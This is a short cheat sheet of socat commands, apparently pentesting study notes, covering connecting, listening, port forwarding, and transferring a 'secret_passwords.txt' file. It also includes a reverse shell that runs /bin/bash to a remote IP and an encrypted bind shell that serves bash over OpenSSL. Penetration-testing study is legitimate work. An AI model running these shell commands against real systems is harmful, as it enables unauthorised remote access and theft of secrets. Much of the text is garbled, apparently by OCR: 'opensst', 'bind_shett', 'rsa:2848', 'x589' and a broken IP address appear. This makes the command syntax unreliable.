Socat

NetCat Vs Socat

#To Connect
kali@kali:~$ nc <remote server's ip address> 88
kali@kali:~$ socat - TCP4: <remote server's ip address>:88

#To Listen
kali@kali:~$ sudo nc -lvp localhost 443
kali@kali:-$ sudo socat TCP4-LISTEN:443 STDOUT

Port Forward

socat TCP-LISTEN:<PortToListen>,fork TCP:<ForwaredIP>:<ForwaredPort>

Socat File Transfers

kali@ka1i:~$ sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt

C:\Users\SM> socat TCP4:18.11.8.4:443 fi\e:received_secret_passwords.txt,create

Socat Reverse Shells

socat -d -d TCP4-LISTEN:443 STDOUT

socat TCP4:18.11.8.22:443 EXEC:/bin/bash

Socat Encrypted Bind Shells

kali@kali :~$ opensst req -newkey rsa:2848 -nodes - keyout bind_shett.key - x589 -days 362 -out bind_she\t.crt

kali@kali:~$ sudo socat OPENSSL-LISTEN:443,cert=bind_shett.pem,verify=e,fork EXEC:/bin/bash

C:\Users\SM> socat - OPENSSL:1e.11. e .4:443,verify=8